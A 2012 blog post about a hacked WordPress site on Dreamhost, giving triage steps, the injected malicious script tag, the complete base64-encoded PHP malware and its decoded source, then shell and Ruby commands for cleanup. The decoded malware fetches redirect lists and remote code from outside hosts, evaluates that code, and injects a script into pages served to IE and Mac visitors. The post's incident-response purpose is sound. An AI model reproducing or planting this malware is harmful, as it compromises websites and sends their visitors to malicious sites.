04 4 / 2012

If you get eval(base64 hacked on wordpress/dreamhost

I have a shared host on Dreamhost that just got hacked to shit. A fairly standard hack, and nothing particularly inspired, but nevertheless some clients from years ago weren’t too happy. If this happens to anyone else, here’s the fix (for now):

UPDATE: This is not Wordpress/Dreamhost specific. I’ve seen reports of other installs/hosts affected. There’s no reason the below won’t work elsewhere, but as always, don’t just copy and paste my (/any) code into your terminal… :)

Triage

First, you want to determine the type of attack. Do they have your SSH/FTP password, or is it just a vulnerability in a PHP script or something. The former is very worrying, the latter is just a case of plugging the hole and repairing the damage.

Log into your sever and run the following:

last -i | grep youruser

Verify that those logins are you, and from your IP address. A quick reverse geocode will show any you’re unsure of. If they all check out great, if not you’re in deeper trouble.

The hack I found essentially created a new php file in the uploads folder of Wordpress that allowed remote filesystem control, and then modified the pages being served (every .php file) to include a script tag redirecting visitors to some dodgy sites.

For example, this is the end of a normal page request:

<!-- 24 queries. 0.542 seconds. -->
<script type='text/javascript' src='http://www.mysite.com/wp-content/plugins/contact-form-7/jquery.form.js?ver=2.52'></script>
<script type='text/javascript' src='http://www.mysite.com/wp-content/plugins/contact-form-7/scripts.js?ver=3.0'></script>

</body>
</html>

And this is a hacked version:

 
<!-- 24 queries. 0.542 seconds. --> 
<script type='text/javascript' src='http://www.mysite.com/wp-content/plugins/contact-form-7/jquery.form.js?ver=2.52'></script> 
<script type='text/javascript' src='http://www.mysite.com/wp-content/plugins/contact-form-7/scripts.js?ver=3.0'></script> 
<script src="http://irstde24clined.rr.nu/mm.php?d=1"></script> 
</body> 
</html> 

What’s interesting about this hack, is it only targets certain browser types.

You can test this by running this from your command line:

curl --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322)" www.mysite.com

The hack inserts the following at the top of every PHP file it can get access to:

 <?php /**/ //eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZXRfdGRzXzc3NygkdXJsKXskY29udGVudD0iIjskY29udGVudD1AdHJ5Y3VybF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZpbGVfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZzb2Nrb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeXNvY2tldF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7cmV0dXJuICcnO30gIGZ1bmN0aW9uIHRyeWN1cmxfNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGNoID0gY3VybF9pbml0ICgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLCR1cmwpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOyRyZXN1bHQgPSBjdXJsX2V4ZWMgKCRjaCk7Y3VybF9jbG9zZSgkY2gpO2lmICgkcmVzdWx0PT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRyZXN1bHQ7fSAgZnVuY3Rpb24gdHJ5ZmlsZV83NzcoJHVybCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdmaWxlJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGluYz1AZmlsZSgkdXJsKTskYnVmPUBpbXBsb2RlKCcnLCRpbmMpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5Zm9wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKT09PWZhbHNlKXJldHVybiBmYWxzZTskYnVmPScnOyRmPUBmb3BlbigkdXJsLCdyJyk7aWYgKCRmKXt3aGlsZSghZmVvZigkZikpeyRidWYuPWZyZWFkKCRmLDEwMDAwKTt9ZmNsb3NlKCRmKTt9ZWxzZSByZXR1cm4gZmFsc2U7aWYgKCRidWY9PSIiKXJldHVybiBmYWxzZTtyZXR1cm4gJGJ1Zjt9ICBmdW5jdGlvbiB0cnlmc29ja29wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JHA9QHBhcnNlX3VybCgkdXJsKTskaG9zdD0kcFsnaG9zdCddOyR1cmk9JHBbJ3BhdGgnXS4nPycuJHBbJ3F1ZXJ5J107JGY9QGZzb2Nrb3BlbigkaG9zdCw4MCwkZXJybm8sICRlcnJzdHIsMzApO2lmKCEkZilyZXR1cm4gZmFsc2U7JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7ZndyaXRlKCRmLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCFmZW9mKCRmKSl7JGJ1Zi49ZnJlYWQoJGYsMTAwMDApO31mY2xvc2UoJGYpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5c29ja2V0Xzc3NygkdXJsKXtpZihmdW5jdGlvbl9leGlzdHMoJ3NvY2tldF9jcmVhdGUnKT09PWZhbHNlKXJldHVybiBmYWxzZTskcD1AcGFyc2VfdXJsKCR1cmwpOyRob3N0PSRwWydob3N0J107JHVyaT0kcFsncGF0aCddLic/Jy4kcFsncXVlcnknXTskaXAxPUBnZXRob3N0YnluYW1lKCRob3N0KTskaXAyPUBsb25nMmlwKEBpcDJsb25nKCRpcDEpKTsgaWYgKCRpcDEhPSRpcDIpcmV0dXJuIGZhbHNlOyRzb2NrPUBzb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7aWYgKCFAc29ja2V0X2Nvbm5lY3QoJHNvY2ssJGlwMSw4MCkpe0Bzb2NrZXRfY2xvc2UoJHNvY2spO3JldHVybiBmYWxzZTt9JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7c29ja2V0X3dyaXRlKCRzb2NrLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCR0PXNvY2tldF9yZWFkKCRzb2NrLDEwMDAwKSl7JGJ1Zi49JHQ7fUBzb2NrZXRfY2xvc2UoJHNvY2spO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdXBkYXRlX3Rkc19maWxlXzc3NygkdGRzZmlsZSl7JGFjdHVhbDE9JF9TRVJWRVJbJ3NfYTEnXTskYWN0dWFsMj0kX1NFUlZFUlsnc19hMiddOyR2YWw9Z2V0X3Rkc183NzcoJGFjdHVhbDEpO2lmICgkdmFsPT0iIikkdmFsPWdldF90ZHNfNzc3KCRhY3R1YWwyKTskZj1AZm9wZW4oJHRkc2ZpbGUsInciKTtpZiAoJGYpe0Bmd3JpdGUoJGYsJHZhbCk7QGZjbG9zZSgkZik7fWlmIChzdHJzdHIoJHZhbCwifHx8Q09ERXx8fCIpKXtsaXN0KCR2YWwsJGNvZGUpPWV4cGxvZGUoInx8fENPREV8fHwiLCR2YWwpO2V2YWwoYmFzZTY0X2RlY29kZSgkY29kZSkpO31yZXR1cm4gJHZhbDt9ICBmdW5jdGlvbiBnZXRfYWN0dWFsX3Rkc183NzcoKXskZGVmYXVsdGRvbWFpbj0kX1NFUlZFUlsnc19kMSddOyRkaXI9JF9TRVJWRVJbJ3NfcDEnXTskdGRzZmlsZT0kZGlyLiJsb2cxLnR4dCI7aWYgKEBmaWxlX2V4aXN0cygkdGRzZmlsZSkpeyRtdGltZT1AZmlsZW10aW1lKCR0ZHNmaWxlKTskY3RpbWU9dGltZSgpLSRtdGltZTtpZiAoJGN0aW1lPiRfU0VSVkVSWydzX3QxJ10peyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO31lbHNleyRjb250ZW50PUBmaWxlX2dldF9jb250ZW50cygkdGRzZmlsZSk7fX1lbHNleyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO30kdGRzPUBleHBsb2RlKCJcbiIsJGNvbnRlbnQpOyRjPUBjb3VudCgkdGRzKSswOyR1cmw9JGRlZmF1bHRkb21haW47aWYgKCRjPjEpeyR1cmw9dHJpbSgkdGRzW210X3JhbmQoMCwkYy0yKV0pO31yZXR1cm4gJHVybDt9ICBmdW5jdGlvbiBpc19tYWNfNzc3KCR1YSl7JG1hYz0wO2lmIChzdHJpc3RyKCR1YSwibWFjIil8fHN0cmlzdHIoJHVhLCJzYWZhcmkiKSlpZiAoKCFzdHJpc3RyKCR1YSwid2luZG93cyIpKSYmKCFzdHJpc3RyKCR1YSwiaXBob25lIikpKSRtYWM9MTtyZXR1cm4gJG1hYzt9ICBmdW5jdGlvbiBpc19tc2llXzc3NygkdWEpeyRtc2llPTA7aWYgKHN0cmlzdHIoJHVhLCJNU0lFIDYiKXx8c3RyaXN0cigkdWEsIk1TSUUgNyIpfHxzdHJpc3RyKCR1YSwiTVNJRSA4Iil8fHN0cmlzdHIoJHVhLCJNU0lFIDkiKSkkbXNpZT0xO3JldHVybiAkbXNpZTt9ICAgIGZ1bmN0aW9uIHNldHVwX2dsb2JhbHNfNzc3KCl7JHJ6PSRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uIi8ubG9ncy8iOyRtej0iL3RtcC8iO2lmICghaXNfZGlyKCRyeikpe0Bta2RpcigkcnopO2lmIChpc19kaXIoJHJ6KSl7JG16PSRyejt9ZWxzZXskcno9JF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdLiIvLmxvZ3MvIjtpZiAoIWlzX2RpcigkcnopKXtAbWtkaXIoJHJ6KTtpZiAoaXNfZGlyKCRyeikpeyRtej0kcno7fX1lbHNleyRtej0kcno7fX19ZWxzZXskbXo9JHJ6O30kYm90PTA7JHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTtpZiAoc3RyaXN0cigkdWEsIm1zbmJvdCIpfHxzdHJpc3RyKCR1YSwiWWFob28iKSkkYm90PTE7aWYgKHN0cmlzdHIoJHVhLCJiaW5nYm90Iil8fHN0cmlzdHIoJHVhLCJnb29nbGUiKSkkYm90PTE7JG1zaWU9MDtpZiAoaXNfbXNpZV83NzcoJHVhKSkkbXNpZT0xOyRtYWM9MDtpZiAoaXNfbWFjXzc3NygkdWEpKSRtYWM9MTtpZiAoKCRtc2llPT0wKSYmKCRtYWM9PTApKSRib3Q9MTsgIGdsb2JhbCAkX1NFUlZFUjsgICAgJF9TRVJWRVJbJ3NfcDEnXT0kbXo7ICAkX1NFUlZFUlsnc19iMSddPSRib3Q7ICAkX1NFUlZFUlsnc190MSddPTEyMDA7ICAkX1NFUlZFUlsnc19kMSddPSJodHRwOi8vc3dlZXBzdGFrZXNhbmRjb250ZXN0c2RvLmNvbS8iOyAgJGQ9Jz9kPScudXJsZW5jb2RlKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIiZwPSIudXJsZW5jb2RlKCRfU0VSVkVSWyJQSFBfU0VMRiJdKS4iJmE9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKTsgICRfU0VSVkVSWydzX2ExJ109J2h0dHA6Ly93d3cubGlseXBvcGhpbHlwb3AuY29tL2dfbG9hZC5waHAnLiRkOyAgJF9TRVJWRVJbJ3NfYTInXT0naHR0cDovL3d3dy5sb2x5cG9waG9seXBvcC5jb20vZ19sb2FkLnBocCcuJGQ7ICAkX1NFUlZFUlsnc19zY3JpcHQnXT0ibW0ucGhwP2Q9MSI7ICB9ICAgICAgc2V0dXBfZ2xvYmFsc183NzcoKTsgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ21sXzc3NycpKXsgIGZ1bmN0aW9uIGdtbF83NzcoKXsgICAgJHJfc3RyaW5nXzc3Nz0nJzsgIGlmICgkX1NFUlZFUlsnc19iMSddPT0wKSRyX3N0cmluZ183Nzc9JzxzY3JpcHQgc3JjPSInLmdldF9hY3R1YWxfdGRzXzc3NygpLiRfU0VSVkVSWydzX3NjcmlwdCddLiciPjwvc2NyaXB0Pic7ICByZXR1cm4gJHJfc3RyaW5nXzc3NzsgIH0gIH0gICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZWl0JykpeyAgZnVuY3Rpb24gZ3pkZWNvZGVpdCgkZGVjb2RlKXsgICR0PUBvcmQoQHN1YnN0cigkZGVjb2RlLDMsMSkpOyAgJHN0YXJ0PTEwOyAgJHY9MDsgIGlmKCR0JjQpeyAgJHN0cj1AdW5wYWNrKCd2JyxzdWJzdHIoJGRlY29kZSwxMCwyKSk7ICAkc3RyPSRzdHJbMV07ICAkc3RhcnQrPTIrJHN0cjsgIH0gIGlmKCR0JjgpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMTYpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMil7ICAkc3RhcnQrPTI7ICB9ICAkcmV0PUBnemluZmxhdGUoQHN1YnN0cigkZGVjb2RlLCRzdGFydCkpOyAgaWYoJHJldD09PUZBTFNFKXsgICRyZXQ9JGRlY29kZTsgIH0gIHJldHVybiAkcmV0OyAgfSAgfSAgZnVuY3Rpb24gbXJvYmgoJGNvbnRlbnQpeyAgQEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgJGRlY29kZWRfY29udGVudD1nemRlY29kZWl0KCRjb250ZW50KTsgIGlmKHByZWdfbWF0Y2goJy9cPFwvYm9keS9zaScsJGRlY29kZWRfY29udGVudCkpeyAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sXzc3NygpLiJcbiIuJyQxJywkZGVjb2RlZF9jb250ZW50KTsgIH1lbHNleyAgcmV0dXJuICRkZWNvZGVkX2NvbnRlbnQuZ21sXzc3NygpOyAgfSAgfSAgb2Jfc3RhcnQoJ21yb2JoJyk7ICB9ICB9"));?> 

If you decode this base64 (easy enough online), you get the following script being run:

if(function_exists('ob_start')&&!isset($_SERVER['mr_no'])){  $_SERVER['mr_no']=1;
    if(!function_exists('mrobh')){    function get_tds_777($url){$content="";
$content=@trycurl_777($url);
if($content!==false)return $content;
$content=@tryfile_777($url);
if($content!==false)return $content;
$content=@tryfopen_777($url);
if($content!==false)return $content;
$content=@tryfsockopen_777($url);
if($content!==false)return $content;
$content=@trysocket_777($url);
if($content!==false)return $content;
return '';
}  function trycurl_777($url){if(function_exists('curl_init')===false)return false;
$ch = curl_init ();
curl_setopt ($ch, CURLOPT_URL,$url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_TIMEOUT, 5);
curl_setopt ($ch, CURLOPT_HEADER, 0);
$result = curl_exec ($ch);
curl_close($ch);
if ($result=="")return false;
return $result;
}  function tryfile_777($url){if(function_exists('file')===false)return false;
$inc=@file($url);
$buf=@implode('',$inc);
if ($buf=="")return false;
return $buf;
}  function tryfopen_777($url){if(function_exists('fopen')===false)return false;
$buf='';
$f=@fopen($url,'r');
if ($f){while(!feof($f)){$buf.=fread($f,10000);
}fclose($f);
}else return false;
if ($buf=="")return false;
return $buf;
}  function tryfsockopen_777($url){if(function_exists('fsockopen')===false)return false;
$p=@parse_url($url);
$host=$p['host'];
$uri=$p['path'].'?'.$p['query'];
$f=@fsockopen($host,80,$errno, $errstr,30);
if(!$f)return false;
$request ="GET $uri HTTP/1.0\n";
$request.="Host: $host\n\n";
fwrite($f,$request);
$buf='';
while(!feof($f)){$buf.=fread($f,10000);
}fclose($f);
if ($buf=="")return false;
list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);
return $buf;
}  function trysocket_777($url){if(function_exists('socket_create')===false)return false;
$p=@parse_url($url);
$host=$p['host'];
$uri=$p['path'].'?'.$p['query'];
$ip1=@gethostbyname($host);
$ip2=@long2ip(@ip2long($ip1));
 if ($ip1!=$ip2)return false;
$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
if (!@socket_connect($sock,$ip1,80)){@socket_close($sock);
return false;
}$request ="GET $uri HTTP/1.0\n";
$request.="Host: $host\n\n";
socket_write($sock,$request);
$buf='';
while($t=socket_read($sock,10000)){$buf.=$t;
}@socket_close($sock);
if ($buf=="")return false;
list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);
return $buf;
}  function update_tds_file_777($tdsfile){$actual1=$_SERVER['s_a1'];
$actual2=$_SERVER['s_a2'];
$val=get_tds_777($actual1);
if ($val=="")$val=get_tds_777($actual2);
$f=@fopen($tdsfile,"w");
if ($f){@fwrite($f,$val);
@fclose($f);
}if (strstr($val,"|||CODE|||")){list($val,$code)=explode("|||CODE|||",$val);
eval(base64_decode($code));
}return $val;
}  function get_actual_tds_777(){$defaultdomain=$_SERVER['s_d1'];
$dir=$_SERVER['s_p1'];
$tdsfile=$dir."log1.txt";
if (@file_exists($tdsfile)){$mtime=@filemtime($tdsfile);
$ctime=time()-$mtime;
if ($ctime>$_SERVER['s_t1']){$content=update_tds_file_777($tdsfile);
}else{$content=@file_get_contents($tdsfile);
}}else{$content=update_tds_file_777($tdsfile);
}$tds=@explode("\n",$content);
$c=@count($tds)+0;
$url=$defaultdomain;
if ($c>1){$url=trim($tds[mt_rand(0,$c-2)]);
}return $url;
}  function is_mac_777($ua){$mac=0;
if (stristr($ua,"mac")||stristr($ua,"safari"))if ((!stristr($ua,"windows"))&&(!stristr($ua,"iphone")))$mac=1;
return $mac;
}  function is_msie_777($ua){$msie=0;
if (stristr($ua,"MSIE 6")||stristr($ua,"MSIE 7")||stristr($ua,"MSIE 8")||stristr($ua,"MSIE 9"))$msie=1;
return $msie;
}    function setup_globals_777(){$rz=$_SERVER["DOCUMENT_ROOT"]."/.logs/";
$mz="/tmp/";
if (!is_dir($rz)){@mkdir($rz);
if (is_dir($rz)){$mz=$rz;
}else{$rz=$_SERVER["SCRIPT_FILENAME"]."/.logs/";
if (!is_dir($rz)){@mkdir($rz);
if (is_dir($rz)){$mz=$rz;
}}else{$mz=$rz;
}}}else{$mz=$rz;
}$bot=0;
$ua=$_SERVER['HTTP_USER_AGENT'];
if (stristr($ua,"msnbot")||stristr($ua,"Yahoo"))$bot=1;
if (stristr($ua,"bingbot")||stristr($ua,"google"))$bot=1;
$msie=0;
if (is_msie_777($ua))$msie=1;
$mac=0;
if (is_mac_777($ua))$mac=1;
if (($msie==0)&&($mac==0))$bot=1;
  global $_SERVER;
    $_SERVER['s_p1']=$mz;
  $_SERVER['s_b1']=$bot;
  $_SERVER['s_t1']=1200;
  $_SERVER['s_d1']="http://sweepstakesandcontestsdo.com/";
  $d='?d='.urlencode($_SERVER["HTTP_HOST"])."&p=".urlencode($_SERVER["PHP_SELF"])."&a=".urlencode($_SERVER["HTTP_USER_AGENT"]);
  $_SERVER['s_a1']='http://www.lilypophilypop.com/g_load.php'.$d;
  $_SERVER['s_a2']='http://www.lolypopholypop.com/g_load.php'.$d;
  $_SERVER['s_script']="mm.php?d=1";
  }      setup_globals_777();
    if(!function_exists('gml_777')){  function gml_777(){    $r_string_777='';
  if ($_SERVER['s_b1']==0)$r_string_777='’;
  return $r_string_777;
  }  }      if(!function_exists(‘gzdecodeit’)){  function gzdecodeit($decode){  $t=@ord(@substr($decode,3,1));
  $start=10;
  $v=0;
  if($t&4){  $str=@unpack(‘v’,substr($decode,10,2));
  $str=$str[1];
  $start+=2+$str;
  }  if($t&8){  $start=@strpos($decode,chr(0),$start)+1;
  }  if($t&16){  $start=@strpos($decode,chr(0),$start)+1;
  }  if($t&2){  $start+=2;
  }  $ret=@gzinflate(@substr($decode,$start));
  if($ret===FALSE){  $ret=$decode;
  }  return $ret;
  }  }  function mrobh($content){  @Header(‘Content-Encoding: none’);
  $decoded_content=gzdecodeit($content);
  if(preg_match(‘/<\/body/si’,$decoded_content)){  return preg_replace(‘/(<\/body[^>]*>)/si’,gml_777().”\n”.’$1’,$decoded_content);
  }else{  return $decoded_content.gml_777();
  }  }  ob_start(‘mrobh’);
  }  }

;

What’s neat here, is it checks for non-bots (google, yahoo, etc.), non-mac users running IE7. Probably therefore almost no sys-admins!

Getting rid of it

I did this in three stages. First, find any world-writable directories (tsk tsk):

find . -type d -perm -o=w

And make them not world writable:

find . -type d -perm -o=w -print -exec chmod 770 {} \;

Delete all the new files these guys created:

find . -wholename '*wp-content/uploads/*.php' -exec rm -rf {} \;

(In wordpress, the uploads folder shouldn’t contain any PHP)

UPDATE: I’ve seen from the comments that files got created elsewhere, so best to remove them. Depending on how recently you uploaded new files etc., you can use the following to find other dodgy files:

find . -mmin -2880 -iname "*.php"

This will find all php files modified in the last 48 hours. If they hit everything this will be a long list. The other trick is to look for files containing ‘utf8’ in the file name - in wordpress these shouldn’t exist (I don’t think), and I’ve seen a bunch of installs have them created:

find . -iname "*utf*.php"

And to remove them all (assuming you’ve checked its save):

find . -iname "*utf*.php" -exec rm -rf {} \;

Stage two, repair all your infected PHP files. I played around using sed and xargs for this, but eventually gave up and wrote a quick ruby script to do the job. Run this run this ruby script from your root directory:

 #!/usr/bin/env ruby 
Dir.glob('**/*.php').each do |f| 
	puts f 
	begin 
		contents = File.read(f) 
		contents = contents.gsub(/\<\?php \/\*\*\/ eval\(.*\)\);\?\>/, "") 
		File.open(f, 'w') {|f| f.write(contents) } 
	rescue 
		puts "FILE ERROR" 
	end 
end 

The final step is to upgrade all your old, forgotten about Wordpress installs to prevent any other vulnerabilities showing up. The bonus step for good luck is to reset your passwords, especially any MySQL passwords stored in plain text in your wp-config.php file.

UPDATE: Really do update your wordpress/joomla/vBulletin/phpbb etc. install. This hack occurs from insecure installs of common opensource tools. Some photo manager plugin you installed 2 years ago and never updated is probably the problem.

Anyone found the same thing or having problems comment below and I’ll try and help. Or tweet me.

  1. psdtohtmlshop reblogged this from danhilltech
  2. massiverobot reblogged this from danhilltech
  3. web-service-deal reblogged this from danhilltech
  4. web-service-deal reblogged this from danhilltech
  5. aardling reblogged this from danhilltech
  6. danhilltech posted this